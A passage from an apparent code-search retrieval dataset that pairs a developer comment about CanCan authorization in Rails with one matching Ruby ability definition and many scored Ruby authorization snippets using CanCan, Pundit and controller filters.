"docid": "72c2f57ebfca3f4dd2001571f1c7e9f7",
"score": "0.540811",
"text": "def read\n return File.open(self, 'r'){|f| f.read} \n end",
"title": ""
},
{
"docid": "495c72163aa0d31e03b527e3c0c7ebf9",
"score": "0.5407572",
"text": "def data\n @data ||= RJGit::Porcelain.cat_file(@jrepo, self)\n end",
"title": ""
}
] |
8986f5d4d8eff243d3c040ba1a97772d
|
TODO Get the fuck off of CanCan, it is such a pain to use Usage: There are two ways to authorize. 1. add 'load_and_authorize_resource' at the top of the controller make sure to only try and authorize(here in ability.rb) the object that load_and_authorize_resource instantiates. Do not create an object yourself inside the action or ability won't have access to it in this file
|
[
{
"docid": "06de4a3c183f8f827d160e7e6a400a8c",
"score": "0.0",
"text": "def initialize(current_user)\n # Define abilities for the passed in user here.\n current_user ||= User.new # guest user (not logged in)\n\n # admin can access everything\n if current_user.admin?\n can :manage, :all\n else\n # index, new, and create are open to everyone\n can [:index, :new, :create], User\n#\n # allow if current_user matches the user_record being viewed\n can [:show, :edit, :update], User do |user_record|\n current_user.id == user_record.id\n end\n\n # allow if the location belongs to the current_user\n can :user_location, Location do |location|\n current_user.locations.include?(location)\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "aa126b9bc0cddfe8a1fe380a3439dfe2",
"score": "0.75217396",
"text": "def authorize_resource(*args); end",
"title": ""
},
{
"docid": "5863ba252369b103dc0a9c9e0ac67385",
"score": "0.74272615",
"text": "def authorize_resource\n EffectiveResources.authorize!(self, action_name.to_sym, resource)\n end",
"title": ""
},
{
"docid": "7caa9471ba32307b58082bb8758438b5",
"score": "0.7353765",
"text": "def authorize_access\r\n # authorize!(action_name.to_sym, \"#{controller_name}_controller\".camelcase.constantize)\r\n end",
"title": ""
},
{
"docid": "c88364f80c71e1fee801b48b4dfe42a0",
"score": "0.7251368",
"text": "def authorize\n end",
"title": ""
},
{
"docid": "c88364f80c71e1fee801b48b4dfe42a0",
"score": "0.7251368",
"text": "def authorize\n end",
"title": ""
},
{
"docid": "6146be367767fc3ba3a294dbc369b0ef",
"score": "0.71319574",
"text": "def load_permissions\n authorize! :manage, :all\n end",
"title": ""
},
{
"docid": "9c968fd9d370fc991bb4631fc6703559",
"score": "0.7049525",
"text": "def authorize\n if current_permission.allow?(params[:controller], params[:action], current_resource)\n # Authorized\n else\n session[:return_to] = request.original_url\n redirect_to login_url, error: (current_user ? t('authorization.error') : t('authorization.not_signed_in'))\n end\n end",
"title": ""
},
{
"docid": "260685b58f2c400b2d4fe47673aadb90",
"score": "0.70350146",
"text": "def custom_load_and_authorize\n load_user # from application controller\n @artifact = Artifact.find(params[:artifact_id])\n @ability = Ability.new(@user)\n\n if action_name == 'create' && @ability.can?(:favorite, @artifact)\n @favorite = Favorite.new(artifact: @artifact, user: @user)\n\n elsif action_name == 'destroy' && @ability.can?(:unfavorite, @artifact)\n @favorite = Favorite.where(artifact: @artifact, user: @user).first\n\n else\n raise CanCan::AccessDenied.new(nil, action_name, Favorite)\n end\n end",
"title": ""
},
{
"docid": "c96fb32e823232596e9a8285e3860c71",
"score": "0.7022065",
"text": "def user_action_on_resource_authorized\n end",
"title": ""
},
{
"docid": "c459d38ace6005f7d9328de748436418",
"score": "0.7004353",
"text": "def load_and_authorize(name, options={})\n @_through_stack ||= []\n\n # only touch can can if the instance variable is nil\n resource = instance_variable_get(\"@#{name}\") || instance_variable_get(\"@#{name.to_s.pluralize}\")\n\n if resource.nil?\n # apply if, only and except behaviours just is if this was done by before_filter\n proceed = true\n proceed &&= [*options[:only]].include?(action_name.to_sym) if options[:only]\n proceed &&= ![*options[:except]].include?(action_name.to_sym) if options[:except]\n proceed &&= case options[:if]\n when Symbol\n send(options[:if])\n when Proc\n options[:if].call\n when nil\n true\n end\n\n if proceed\n # automatically load this resource through a nested one unless manually specified\n options[:through] = @_through_stack.last unless @_through_stack.empty? || options.include?(:through)\n # create the can can resource class\n cancan = self.class.cancan_resource_class.new(self, name, options.except(:if, :only, :except, :param))\n resource = cancan.load_resource\n cancan.authorize_resource unless options[:skip_authorize]\n\n if resource\n # If the resource was a scope (query/collection-proxy) simply add the result class into the loaded_resources\n loaded_resources << ((resource.is_a? ActiveRecord::Relation) ? resource.klass : resource)\n end\n\n if resource && block_given?\n # only call block if we got an instance variable set\n begin\n @_through_stack.push(name)\n yield\n ensure\n @_through_stack.pop\n end\n end\n end\n end\n resource\n end",
"title": ""
},
{
"docid": "0898b45d9222d0f4aa9b18ef4d9b6c59",
"score": "0.6947318",
"text": "def authorize \n self.make 'authorization' \n end",
"title": ""
},
{
"docid": "f528d0e57c94cb187482b9dac0b6835d",
"score": "0.69260025",
"text": "def has_permission?\n return true if administrator?\n \n # Load the Model based on the controller name\n klass = self.controller_name.classify.constantize\n \n # Load the possible parent requested\n @parents = (klass.has_parent?) ? get_parents_from_request_params(klass, params) : nil\n \n # Load the resource requested\n if params[:id]\n if [\"index\", \"destroy\", \"update\"].include?(params[:action]) && klass.respond_to?(:in_set)\n @resource = klass.in_set(params[:id])\n @resource = @resource.first if @resource.size == 1\n else\n @resource = klass.find(params[:id])\n end\n end\n \n # Let's let the Model decide what is acceptable\n # NOTE: It is still the concrete controller's job to filter inaccessible resources (accessed via the index)!\n # This presumably happens in the with_parent named scope\n \n authorized = case params[:action]\n when \"edit\", \"update\"\n if !@resource.is_a?(Array)\n return @resource.updatable_by?(current_user, @parents) # this is 'returned' to authorized\n end\n \n verify_set_accessablility(@resource, :updatable_by?) do |unauthorized_ids|\n permission_denied(\n :status => :conflict,\n :message => \"#{unauthorized_ids.to_a.join(',')} is not available for update.\"\n ) if unauthorized_ids.size > 0\n end\n true # if it gets past verification, authorized is true\n \n when \"destroy\" \n if !@resource.is_a?(Array)\n return @resource.deletable_by?(current_user, @parents)\n end\n \n verify_set_accessablility(@resource, :deletable_by?) do |unauthorized_ids|\n permission_denied(\n :status => :conflict,\n :message => \"#{unauthorized_ids.to_a.join(',')} is not available for deletion.\"\n ) if unauthorized_ids.size > 0\n end\n true # if it gets past verification, authorized is true\n \n when \"index\" then klass.indexable_by?(current_user, @parents)\n when \"new\", \"create\" then klass.creatable_by?(current_user, @parents)\n when \"show\" then @resource.readable_by?(current_user, @parents)\n else check_non_restful_route(current_user, klass, @resource, @parents)\n end\n \n permission_denied unless authorized\n \n #rescue NoMethodError => e\n # Misconfiguration: A RESTful_ACL specific method is missing.\n #raise_error(klass, e)\n #rescue\n # Failsafe: If any funny business is going on, log and redirect\n #routing_error\n #end\n end",
"title": ""
},
{
"docid": "08a058193891d0796090943b9c24e0f5",
"score": "0.69131184",
"text": "def authorize\n action = {:controller => params[:controller], :action => params[:action]}\n allowed = User.current.allowed_to?(action, project = nil, options={:global => true})\n allowed ? true : deny_access\n end",
"title": ""
},
{
"docid": "08a058193891d0796090943b9c24e0f5",
"score": "0.69131184",
"text": "def authorize\n action = {:controller => params[:controller], :action => params[:action]}\n allowed = User.current.allowed_to?(action, project = nil, options={:global => true})\n allowed ? true : deny_access\n end",
"title": ""
},
{
"docid": "388de052bd87923623aaaf0dfe6f6089",
"score": "0.6892732",
"text": "def authorize_inherited_resource!\n authorize! :show, parent if parent?\n authorize! authorizable_action, authorize_resource? ? resource : resource_class\n end",
"title": ""
},
{
"docid": "928a883474b157ebdd316ffd69ad563e",
"score": "0.68829036",
"text": "def authorize_users\n authorize :user\n end",
"title": ""
},
{
"docid": "eb4748ae266c389a077dfe57478c4528",
"score": "0.6818154",
"text": "def authorize_action\n YamledAcl.init(current_user_group_name, params[:controller])\n allowed_to?(params[:action]) or raise(YamledAcl::AccessDenied)\n end",
"title": ""
},
{
"docid": "32cb0842436aec59312625b905064305",
"score": "0.6801593",
"text": "def load_and_authorize_resource\n user = current_user\n user ||= User.new # guest user (not logged in)\n \n post = Post.find(params[:id])\n \n # If the post will be destroyed in the next cron job, tell the user\n # it is already gone.\n if not post.burn_after_date.nil? and post.burn_after_date < Time.now\n obscure_existence\n return\n end\n \n if post.user == current_user\n @post = post\n return\n end\n \n if post.public and post.random_token == params[:random_token]\n @post = post\n return\n # has access\n end\n \n obscure_existence\n \n end",
"title": ""
},
{
"docid": "a5c49bd2c40f47c9aab5321e918e1b1c",
"score": "0.67960757",
"text": "def can(action, resource, options={})\n before do\n ability.can action, resource, options\n end\n end",
"title": ""
},
{
"docid": "8751823094b8b81da11a78253f5b8b94",
"score": "0.6785153",
"text": "def authorize_resource\n authorize!(:disburse, @disbursement)\n @disbursement.experience_points_records.each do |record|\n authorize!(:create, record)\n end\n end",
"title": ""
},
{
"docid": "efc7a2d47323155f0fd370342ad73181",
"score": "0.67841315",
"text": "def authorize\r\n # check if action is allowed on public projects\r\n if @project.is_public? and Permission.allowed_to_public \"%s/%s\" % [ @params[:controller], @params[:action] ]\r\n return true\r\n end \r\n # if action is not public, force login\r\n return unless require_login \r\n # admin is always authorized\r\n return true if self.logged_in_user.admin?\r\n # if not admin, check membership permission \r\n @user_membership ||= Member.find(:first, :conditions => [\"user_id=? and project_id=?\", self.logged_in_user.id, @project.id]) \r\n if @user_membership and Permission.allowed_to_role( \"%s/%s\" % [ @params[:controller], @params[:action] ], @user_membership.role_id ) \r\n return true\t\t\r\n end\t\t\r\n render :nothing => true, :status => 403\r\n false\r\n end",
"title": ""
},
{
"docid": "83e130e3204bae689365806f829cad8b",
"score": "0.6773057",
"text": "def initialize_cancan_ability\n ability_class_name = resource.namespace.cancan_ability_class\n\n if ability_class_name.is_a?(String)\n ability_class = ActiveSupport::Dependencies.constantize(ability_class_name)\n else\n ability_class = ability_class_name\n end\n\n ability_class.new(user)\n end",
"title": ""
},
{
"docid": "8dfc521cfe4db8497d4635517acdcedd",
"score": "0.6756882",
"text": "def initialize(user, controller_namespace)\n # Define abilities for the passed in user here. For example:\n #\n # user ||= User.new # guest user (not logged in)\n # if user.admin?\n # can :manage, :all\n # else\n # can :read, :all\n # end\n #\n # The first argument to `can` is the action you are giving the user permission to do.\n # If you pass :manage it will apply to every action. Other common actions here are\n # :read, :create, :update and :destroy.\n #\n # The second argument is the resource the user can perform the action on. If you pass\n # :all it will apply to every resource. Otherwise pass a Ruby class of the resource.\n #\n # The third argument is an optional hash of conditions to further filter the objects.\n # For example, here the user can only update published articles.\n #\n # can :update, Article, :published => true\n #\n # See the wiki for details: https://github.com/ryanb/cancan/wiki/Defining-Abilities\n \n # if user.role? :moderator\n # can :manage, Project\n # cannot :destroy, Project\n # can :manage, Comment\n # end\n # if user.role? :admin\n # can :destroy, Project\n # end\n\n=begin\n user ||= User.new # guest user \n if user.role? :super_admin\n can :manage, :all #This shows that the super_admin can manage everything\n\n elsif user.role? :product_admin\n can :manage, [Product, Asset, Issue] # Show that the product_admin can manage products and its related other things.\n\n elsif user.role? :product_team\n can :read, [Product, Asset] # manage products, assets he owns\n can :manage, Product do |product|\n product.try(:owner) == user\n end\n can :manage, Asset do |asset|\n asset.assetable.try(:owner) == user\n end\n end \n=end\n\n #puts(\".... controller_namespace: #{controller_namespace}\")\n user ||= User.new # guest user (not logged in)\n case controller_namespace\n when 'Admin'\n can :manage, :all if user.has_role? :admin\n else\n # rules for non-admin controllers here\n #can :read, :all\n # can [:update, :destroy], [Article, Comment]\n cannot :manage, :all\n can :manage, Todo\n end\n \n end",
"title": ""
},
{
"docid": "b6e68da3f92e15de82e5c563ab0d754b",
"score": "0.6733387",
"text": "def authorize!(action, object)\n if can?(action, object)\n true\n else\n raise Kant::AccessDenied, \"You are not permitted to #{action} this record.\"\n end\n end",
"title": ""
},
{
"docid": "555bb91d3af1c9a9dd18088b578297f1",
"score": "0.6717474",
"text": "def set_resource\n @course = Course.find(params[:id])\n authorize @course\n end",
"title": ""
},
{
"docid": "84eae8f40f829d1cf019657824272692",
"score": "0.67158544",
"text": "def authorize_controller!\n authorize! action_name.to_sym, full_controller_name\n end",
"title": ""
},
{
"docid": "56946dadf82e79e2f1f30702b0cb27a4",
"score": "0.66531545",
"text": "def authorize\n run_callbacks :authorize do\n\n policy = Pundit.policy!(context.fetch(:current_token), @model)\n permission = \"#{context.fetch(:current_action)}?\"\n\n unless policy.public_send(permission)\n raise Pundit::NotAuthorizedError.new(query:permission, record: @model, policy: policy)\n end\n end\n end",
"title": ""
},
{
"docid": "ad06405d3bd74ada8e20410cac9dbfc2",
"score": "0.6641172",
"text": "def check_permissions\n authorize! :create, RoutingSheet\n end",
"title": ""
},
{
"docid": "a18d527bc652eeaf6f82dbd3af5bd644",
"score": "0.66232914",
"text": "def authorize\r\n # check if action is allowed on public projects\r\n if @project.is_public? and Permission.allowed_to_public \"%s/%s\" % [ @params[:controller], @params[:action] ]\r\n return true\r\n end \r\n # if user not logged in, redirect to login form\r\n unless session[:user]\r\n store_location\r\n redirect_to(:controller => \"account\", :action => \"login\")\r\n return false\r\n end\r\n # if logged in, check if authorized \r\n if session[:user].admin? or Permission.allowed_to_role( \"%s/%s\" % [ @params[:controller], @params[:action] ], session[:user].role_for_project(@project.id) ) \r\n return true\t\t\r\n end\t\t\r\n flash[:notice] = \"Acces denied\"\r\n redirect_to(:controller => \"\")\r\n false\r\n end",
"title": ""
},
{
"docid": "d0d7bc4ec0a7355e74b63e30c3a39cea",
"score": "0.66169375",
"text": "def authorize_user!\n # binding.pry\n unless can?(:crud, @question)\n flash[:alert] = \"Access Denied!\"\n redirect_to root_path\n\n # `head` is a method similar to `render` or `redirect_to`. It finalizes\n # the response. However, it will add content to the response. It will simply\n # set the HTTP status of the response. (e.g. head :unauthorized sets the\n # the status code to 401)\n # For a list of available status code symbols to use with `head` go to:\n # http://billpatrianakos.me/blog/2013/10/13/list-of-rails-status-code-symbols/\n # head :unauthorized\n end\n end",
"title": ""
},
{
"docid": "6cb33c1a7a691018590143f75b8a5dc4",
"score": "0.6605138",
"text": "def authorize_user!\n \n unless can?(:manage, @question)\n flash[:alert] = \"Access denied!\"\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "6326e2140b64d9adaa25f8a4510ef2ca",
"score": "0.65754145",
"text": "def find_user\n @user = User.find(params[:id])\n authorize @user\n end",
"title": ""
},
{
"docid": "9fb7db6a8e001dafdb9688c5b58f6397",
"score": "0.65675575",
"text": "def authorize_for(controller, action)\r\n User.current.allowed_to?({:controller => controller, :action => action}, @project)\r\n end",
"title": ""
},
{
"docid": "9fb7db6a8e001dafdb9688c5b58f6397",
"score": "0.65675575",
"text": "def authorize_for(controller, action)\r\n User.current.allowed_to?({:controller => controller, :action => action}, @project)\r\n end",
"title": ""
},
{
"docid": "5072e87ba28b564b5c04769effa7dca0",
"score": "0.65620154",
"text": "def authorize (permission_name)\n self.allowances.detect {|a| a.permission.name == permission_name.to_s}\n end",
"title": ""
},
{
"docid": "9435b075be9b73d37780bb7a04725eb3",
"score": "0.6554448",
"text": "def resource_check(verb, id = params[:id], klass = controller_name.classify.constantize)\n return unless Insights::API::Common::RBAC::Access.enabled?\n\n permission_check(verb, klass)\n\n raise Exceptions::NotAuthorizedError, \"#{verb.titleize} access not authorized for #{klass} with id: #{id}\" unless resource_instance_accessible?(klass.table_name, id)\n end",
"title": ""
},
{
"docid": "39f7cb12d50cdc2c73a5845c3dd2ef8e",
"score": "0.6548008",
"text": "def show\n authorize! :create, Administrator\n end",
"title": ""
},
{
"docid": "ac847e3e79d10cfb13eeab3f732087a7",
"score": "0.65398234",
"text": "def authorize\n controller.class_eval do\n define_method name, block\n self.send callback, name.to_sym, only: actions\n end\n end",
"title": ""
},
{
"docid": "3f51b545d517ea36a6976e660c0db34e",
"score": "0.65348125",
"text": "def authorized?(resource)\n return false unless self.active\n # return true if role_authorized?('superuser') \n #OPTIMIZE: DO WE WANT THIS? It causes you to have access to all departments in all controllers, no matter what your permissions are.\n \n # return permission_strings.include?(resource) #reduced performance\n return permission_strings_cached.include?(resource) #causes caching bug\n end",
"title": ""
},
{
"docid": "436a96a696d3ce4ea4c1e729aae56060",
"score": "0.6522644",
"text": "def authorize!\n Ability.allowed?(context[:current_user], :read_milestone, parent) || raise_resource_not_available_error!\n end",
"title": ""
},
{
"docid": "e4c102be83f4c437e32b0a1509677fa5",
"score": "0.6522409",
"text": "def resource_check(verb, id = params[:id], klass = controller_name.classify.constantize)\n return unless RBAC::Access.enabled?\n\n permission_check(verb, klass)\n\n raise Exceptions::NotAuthorizedError, \"#{verb.titleize} access not authorized for #{klass} with id: #{id}\" unless resource_instance_accessible?(klass.table_name, id)\n end",
"title": ""
},
{
"docid": "e4c102be83f4c437e32b0a1509677fa5",
"score": "0.6522409",
"text": "def resource_check(verb, id = params[:id], klass = controller_name.classify.constantize)\n return unless RBAC::Access.enabled?\n\n permission_check(verb, klass)\n\n raise Exceptions::NotAuthorizedError, \"#{verb.titleize} access not authorized for #{klass} with id: #{id}\" unless resource_instance_accessible?(klass.table_name, id)\n end",
"title": ""
},
{
"docid": "13c1f0a3144ed944264e30da436d6095",
"score": "0.6516857",
"text": "def find_and_authorize_requested_item\n name = controller_name.singularize\n privilege = Seek::Permissions::Translator.translate(action_name)\n\n return if privilege.nil?\n\n object = controller_model.find(params[:id])\n\n if is_auth?(object, privilege)\n instance_variable_set(\"@#{name}\", object)\n params.delete :policy_attributes unless object.can_manage?(current_user)\n else\n respond_to do |format|\n format.html do\n case privilege\n when :publish, :manage, :edit, :download, :delete\n if current_user.nil?\n flash[:error] = \"You are not authorized to #{privilege} this #{name.humanize}, you may need to login first.\"\n else\n flash[:error] = \"You are not authorized to #{privilege} this #{name.humanize}.\"\n end\n handle_authorization_failure_redirect(object, privilege)\n else\n render template: 'general/landing_page_for_hidden_item', locals: { item: object }, status: :forbidden\n end\n end\n format.rdf { render plain: \"You may not #{privilege} #{name}:#{params[:id]}\", status: :forbidden }\n format.json { render json: { errors: [{ title: 'Forbidden',\n details: \"You may not #{privilege} #{name}:#{params[:id]}\" }] },\n status: :forbidden }\n end\n return false\n end\n end",
"title": ""
},
{
"docid": "f7eb88603839798df2d248c2f5718bb6",
"score": "0.65119725",
"text": "def show\n authorize User\n end",
"title": ""
},
{
"docid": "f7eb88603839798df2d248c2f5718bb6",
"score": "0.65119725",
"text": "def show\n authorize User\n end",
"title": ""
},
{
"docid": "8b0c95af747b4cfbfc72967079676a7b",
"score": "0.65052617",
"text": "def load_collection\n current_ability.scope_for(authorization_action, resource_class) do\n resource_base.accessible_by(current_ability, authorization_action)\n end\n end",
"title": ""
},
{
"docid": "b47d03af479487f2c8c1e5871f340ada",
"score": "0.6491191",
"text": "def authorize?(user)\n true\n end",
"title": ""
},
{
"docid": "099d5deb9528a0e30447a5d878879e4a",
"score": "0.6479838",
"text": "def authorize(record, action = nil)\n action ||= guess_action!\n context[:pundit].send(:authorize, record, action)\n end",
"title": ""
},
{
"docid": "cbbbaf55c0d577d42d53e39ce9fa49e0",
"score": "0.6475123",
"text": "def authorization; end",
"title": ""
},
{
"docid": "ff0f608f059d059fb873b19f202a0a71",
"score": "0.6471748",
"text": "def authorize(action, model_object = nil)\n raise Pundit::NotAuthorizedError unless authorized?(action, model_object)\n end",
"title": ""
},
{
"docid": "70d4290ed4aa47f1bf4811d1daf2e2b3",
"score": "0.647013",
"text": "def authorize\n authorization_check(params[:controller], params[:action], request.request_method.downcase, self) || unauthorized\n end",
"title": ""
},
{
"docid": "01ef46571ef654842fc5f901caf73232",
"score": "0.6437754",
"text": "def check_permissions\n authorize! :create, Employee\n end",
"title": ""
},
{
"docid": "d653d8152a03597879859ab8631f9d44",
"score": "0.64367557",
"text": "def authorizer\n current_ability\n end",
"title": ""
},
{
"docid": "aaf449493f99d2833809f99989ffa71d",
"score": "0.64310694",
"text": "def check_permissions\n authorize! :create, Product\n end",
"title": ""
},
{
"docid": "ae4ed6d19536390f70aac3cd6813d549",
"score": "0.6401831",
"text": "def request_authorization\n create_ticket\n verify_resource_owner or return\n render_authorize_form\n end",
"title": ""
},
{
"docid": "72a760f2235a94c0871840294c83c3c2",
"score": "0.63977706",
"text": "def authorize?(_user)\n true\n end",
"title": ""
},
{
"docid": "72a760f2235a94c0871840294c83c3c2",
"score": "0.63977706",
"text": "def authorize?(_user)\n true\n end",
"title": ""
},
{
"docid": "ab0346adb92e2f9ec12264b347a59e9a",
"score": "0.6396252",
"text": "def authorize_for(controller, action)\n current_user.allowed_to?({ controller: controller, action: action }, @project)\n end",
"title": ""
},
{
"docid": "7ebde5118c31226935b184884fe60de0",
"score": "0.63943815",
"text": "def set_resource\n @assignment = Assignment.find(params[:id])\n authorize @assignment\n end",
"title": ""
},
{
"docid": "d62c6c629289c104b577c387c5987af1",
"score": "0.6393596",
"text": "def check_auth\n authorize @equipment_listing\n end",
"title": ""
},
{
"docid": "a4b6cb6fb02c594d969ca918dba15b7f",
"score": "0.63927555",
"text": "def authorize_admin!\n authorize! :manage, :all\n end",
"title": ""
},
{
"docid": "2e5487f40219d9952fc303be32a87bc5",
"score": "0.6384273",
"text": "def authorized?(action = action_name, resource = nil)\n if logged_in? and permissions(action_name, resource)\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "550fa847179e0ddfc89a83da54f385be",
"score": "0.63785136",
"text": "def pundit_authorize\n authorize [:admin, @testimonial||:testimonial]\n end",
"title": ""
},
{
"docid": "d26b3510a4015edab936a1d80cd11f0f",
"score": "0.6378415",
"text": "def show\n authorize!\n end",
"title": ""
},
{
"docid": "d26b3510a4015edab936a1d80cd11f0f",
"score": "0.6378415",
"text": "def show\n authorize!\n end",
"title": ""
},
{
"docid": "d26b3510a4015edab936a1d80cd11f0f",
"score": "0.6378415",
"text": "def show\n authorize!\n end",
"title": ""
},
{
"docid": "839e49b4f218e4eaf3d246b8acaf5a33",
"score": "0.6377682",
"text": "def authorized_for(options)\n action = options.delete(:auth_action) || options[:action]\n object = options.delete(:auth_object)\n user = User.current\n controller = options[:controller] || params[:controller]\n controller_name = controller.to_s.gsub(/::/, \"_\").underscore\n id = options[:id]\n permission = options.delete(:permission) || [action, controller_name].join('_')\n\n if object.nil?\n user.allowed_to?({ :controller => controller_name, :action => action, :id => id }) rescue false\n else\n authorizer = options.delete(:authorizer) || Authorizer.new(user)\n authorizer.can?(permission, object) rescue false\n end\n end",
"title": ""
},
{
"docid": "d980349718c11ee98f2dcf84e4b380bf",
"score": "0.63757986",
"text": "def show\n @user = User.find(params[:id])\n authorize @user\n end",
"title": ""
},
{
"docid": "60889192980bd2d1d4ba472e5ebe2450",
"score": "0.637363",
"text": "def authorize(*args)\n permissions, _opts = _perform_authorization(*args)\n permissions\n end",
"title": ""
},
{
"docid": "f71d049a9f9e438c6899981384756dc9",
"score": "0.6368215",
"text": "def authorize(action, subject)\n ability.authorize! action, subject\n rescue ::CanCan::AccessDenied\n Rails.logger.info I18n.t('errors.unauthorized', user: user, action: action, subject: subject)\n raise Forbidden\n end",
"title": ""
},
{
"docid": "3325a99cc96054c5a53546206a071317",
"score": "0.6366897",
"text": "def authorize_access\n # byebug\n redirect_to root_path, alert: \"Access Denied\" unless can? :modify, Post\n end",
"title": ""
},
{
"docid": "0a89a69511afc2deabe636649d571bdc",
"score": "0.6365993",
"text": "def authorized? (controller, action, resource = nil)\n #only check if user has controller name present in database access array\n if resource.nil && @authorized_actions[[controller.to_s,action.to_s]]\n true\n elsif has_rights_to?(controller) \n evaluate?(controller, action, resource)\n else\n #return false if controller not present in array\n false\n end\n end",
"title": ""
},
{
"docid": "255ddbed6213e2f6a7cff99ab2c7c820",
"score": "0.6351034",
"text": "def initialize(user)\n # Define abilities for the passed in user here. For example:\n #\n user ||= User.new # guest user (not logged in)\n # if user.admin?\n # can :manage, :all\n # else\n # can :read, :all\n # end\n #\n # The first argument to `can` is the action you are giving the user\n # permission to do.\n # If you pass :manage it will apply to every action. Other common actions\n # here are :read, :create, :update and :destroy.\n #\n # The second argument is the resource the user can perform the action on.\n # If you pass :all it will apply to every resource. Otherwise pass a Ruby\n # class of the resource.\n #\n # The third argument is an optional hash of conditions to further filter the\n # objects.\n # For example, here the user can only update published articles.\n #\n # can :update, Article, :published => true\n #\n # See the wiki for details:\n # https://github.com/CanCanCommunity/cancancan/wiki/Defining-Abilities\n\n\n # To define a permission for a user, use the 'can' method inside\n # of this classes, initialize method. It takes the following args\n # (in order):\n # - The name of the action you are testing for as a symbol\n # - The class of an object we are testing against.\n # - A block that is used to determine whether or not a user can perform said action\n \n # If the block returns true, the user can perform the action, otherwise they can't\n\n if user.is_admin?\n can :manage, :all \n # manage means they can do everything (not just CRUD)\n end\n\n alias_action :create, :read, :edit, :update, :destroy, to: :crud\n\n can :crud, Question do |question|\n question.user == user\n end\n\n # We can also write abilities like:\n # can :crud, Question, use_id: user.id\n\n can :crud, Answer do |answer|\n answer.user == user\n end\n\n can :crud, JobPost do |job_post|\n job_post.user == user\n # check that if it matched\n end\n\n can :like, Question do |question|\n user.persisted? && user != question.user\n end\n\n can :destroy, Like do |like|\n like.user == user\n end\n end",
"title": ""
},
{
"docid": "c7e321ca8185275c7e0c34c29cdfd241",
"score": "0.63505065",
"text": "def authorized?(action = action_name, resource = nil)\n logged_in?\n end",
"title": ""
},
{
"docid": "cc95fa0306e741a6d842f4cf40849f0b",
"score": "0.63497156",
"text": "def show\n #@admission_category = AdmissionCategory.find(params[:id])\n #load_and_authorize_resource will load the object\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admission_category }\n end\n end",
"title": ""
},
{
"docid": "b162bd08981827eab07fdabba1ae70d2",
"score": "0.6346701",
"text": "def authorize_user\n if @user.present?\n # Pass the object @user to Pundit to check against @current_user\n authorize @user\n else\n authorize_users\n end\n end",
"title": ""
},
{
"docid": "f4efa9a78f3208a1071009ca5c72ec52",
"score": "0.63456196",
"text": "def permit(current_context, record, action)\n Pundit.authorize(current_context, record, action)\n rescue Pundit::NotAuthorizedError\n false\n end",
"title": ""
},
{
"docid": "0aee7c5d65c23d4f843ec17c2f9f208c",
"score": "0.63345987",
"text": "def authorize\n if !logged_in? || current_user.nil?\n redirect '/login'\n else\n @user = current_user\n @user_chores = current_user.chores\n @user_gadgets = current_user.gadgets\n end\n end",
"title": ""
},
{
"docid": "05a57c66c8a72f827817da9efd180a50",
"score": "0.63334113",
"text": "def authorize\n\t\tredirect_to '/login' unless current_user\n\tend",
"title": ""
},
{
"docid": "f8673d466403fb49c6353cf5cf8e9f54",
"score": "0.63280153",
"text": "def authorize(ctrl = params[:controller], action = params[:action], global = false)\n allowed = User.current.allowed_to?({:controller => ctrl, :action => action}, @project, :global => global)\n allowed ? true : deny_access\n end",
"title": ""
},
{
"docid": "f8673d466403fb49c6353cf5cf8e9f54",
"score": "0.63280153",
"text": "def authorize(ctrl = params[:controller], action = params[:action], global = false)\n allowed = User.current.allowed_to?({:controller => ctrl, :action => action}, @project, :global => global)\n allowed ? true : deny_access\n end",
"title": ""
},
{
"docid": "e393addf5e0191f21970d8f65efc6c61",
"score": "0.63234276",
"text": "def authorization(action, object = \"default - missing something?\")\n if action == \"create\"\n not_authorised and return unless current_user.can_create?\n elsif action == \"update\"\n not_authorised and return unless current_user.can_update?(object)\n elsif action == \"destroy\"\n not_authorised and return unless current_user.can_destroy?(object)\n elsif action == \"owner\"\n not_authorised and return unless current_user.owner?(object)\n elsif action == \"admin\"\n not_authorised and return unless current_user.admin_only\n end\n end",
"title": ""
},
{
"docid": "9a9c3815992d7f04cb0e6ec04b871d06",
"score": "0.6317017",
"text": "def initialize(user)\n #we define here all the rules and permissions to out application\n # Define abilities for the passed in user here. For example:\n\n\n #if user is not signed in, current_user will return nil so we set it to 'User.new' if user is not signed in to ease writing rules by simply doing 'user.id' which will return nil instead of raising an exception\n user ||= User.new\n\n alias_action :create, :read, :update, :destroy, to: :crud\n\n #this rule specifies that the user can crud a question if the question created is the same as user who is currently logged in\n #remember that this defined the rule but you still have to enforce the rule yourself by using it in your views and controllers\n\n if user.is_admin?\n can :manage, :all?\n end\n #manage option in cancancan gives the user the ability to do anything\n #and not just CRUD; it includes other actions such as publish, activate, disable, etc\n\n\n can :crud, Question do |question|\n question.user == user\n end\n\n can :like, Question do |question|\n question.user != user\n end\n\n cannot :like, Question do |question|\n question.user == user\n end\n # user ||= User.new # guest user (not logged in)\n # if user.admin?\n # can :manage, :all\n # else\n # can :read, :all\n # end\n #\n # The first argument to `can` is the action you are giving the user\n # permission to do.\n # If you pass :manage it will apply to every action. Other common actions\n # here are :read, :create, :update and :destroy.\n #\n # The second argument is the resource the user can perform the action on.\n # If you pass :all it will apply to every resource. Otherwise pass a Ruby\n # class of the resource.\n #\n # The third argument is an optional hash of conditions to further filter the\n # objects.\n # For example, here the user can only update published articles.\n #\n # can :update, Article, :published => true\n #\n # See the wiki for details:\n # https://github.com/CanCanCommunity/cancancan/wiki/Defining-Abilities\n end",
"title": ""
},
{
"docid": "e77efc15ea5eaeb0bf4c80302ee546e0",
"score": "0.6311999",
"text": "def authorize_request\n @current_user = AuthorizeApiRequest.new(request.headers).call[:user]\n\n # Check if the user record is ban and cancel all actions\n json_response({ error: 'Bannis' }, :unauthorized_request) if @current_user.isBan\n\n # Check achievements in all queries by the user, three times out of ten\n @current_user.check_achievements if rand(10) >= 7\n end",
"title": ""
},
{
"docid": "bf9b7b39ba80f989972e5cfa2ad1d036",
"score": "0.6307111",
"text": "def find_borrowership\n @borrowership = @car.borrowerships.find(params[:id])\n authorize @borrowership\n end",
"title": ""
},
{
"docid": "823c58663a0c62b759e7f63573a6ed20",
"score": "0.6298793",
"text": "def check_permissions\n authorize! :create, CargoManifest\n end",
"title": ""
},
{
"docid": "24da16b670d72440a0bddbb98e5030d7",
"score": "0.62985563",
"text": "def show\n # authorize Admin\n end",
"title": ""
},
{
"docid": "aa1e9a5e9e973fc7444f09196f6aab7f",
"score": "0.62946045",
